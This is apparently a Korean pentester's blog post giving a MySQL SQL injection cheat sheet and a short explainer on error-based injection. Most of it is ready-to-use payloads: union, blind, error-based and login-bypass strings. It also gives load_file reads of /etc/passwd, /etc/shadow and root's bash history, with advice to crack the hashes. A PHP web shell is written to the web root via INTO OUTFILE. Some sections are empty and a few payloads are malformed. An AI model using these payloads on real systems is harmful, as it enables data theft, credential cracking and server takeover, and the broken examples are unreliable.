MySQL


SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substring( version(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user(), version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성



MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다. 


하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.


1) 추측(brute forcing)

    search_value=-1' union select 'abcde',1,2 from mail# 

     => java.lang.Exception: General error,  message from server: "Table 'cleandb.mail' doesn't exist"


2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)

    -1' union select load_file('/etc/passwd'),2,3#

    => 계정 및 홈폴더 파악

    -1' union select load_file('/var/www/htm/member.php'),2,3#

    => 소스코드 열람 및 쿼리문을 보고 테이블명 확인


3) MySQL 로그파일 열람

    -1' union select load_file('/var/log/mysql/log/error.log'),2,3#


4) 웹쉘 업로드

    -1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)



 

 

SQL Injection 에서도 에러 기반 인젝션은 상당히 쉽고 빠른 방법 중 하나로 알려져 있습니다.

 

에러메시지를 기반으로 하기 때문에 결과값을 눈으로 확인할 수 있고 한번 공격에 한번이상 쿼리 결과 확인이

 

가능하기 때문입니다. 하지만 주로 알려진 것은 MSSQL 에서의 에러기반 인젝션이고, 그에 반해 oracle 이나

 

mysql 에러 기반인젝션은 많이 알려져 있지 않습니다. oracle 또한 예전에 제가 글을 올린적이 있었죠~. 이번엔

 

mysql 에서도 이러한 에러기반 인젝션이 가능함을 보여드리고, 또 위험성을 알리려고 합니다.

 

(단순 쿼리 에러메시지 정도야 뭐 어때라고 생각하시면 절대 안된다는 것입니다)

 

 

 

# MySQL Error Based SQL Injection 예시

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
 ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key'

 

위와 같은 쿼리문을 날리면 group by 키워드에 해당하는 a필드가 중복되기 때문에 보시는 바와 같이 오류 메시지를

 

통해원하는 쿼리문의 결과를 확인 할 수 있습니다.

 

 

 

# ex) http://www.test.com/view.php?id=hyunmini

 

1) 정상 쿼리문

 -> http://www.test.com/view.php?id=hyunmini

 mysql> select id,name from userinfo where name='hyunmini';
+------+----------+
| id   | name     |
+------+----------+
| test | hyunmini |
+------+----------+
1 row in set (0.00 sec)

 

2) 에러기반 인젝션 공격 쿼리문

 -> http://www.test.com/view.php?id=xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#
 

 mysql> select id,name from userinfo where id='xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b);
ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key'

 

 

어차피 인젝션이 존재한다는 가정하게 가능한 것이긴 하지만, blind 보다 데이터를 빼내오는 속도가 월등히 빠르기 때

 

문에 유용할 수 있습니다. 그럼 이만~

 

+ Recent posts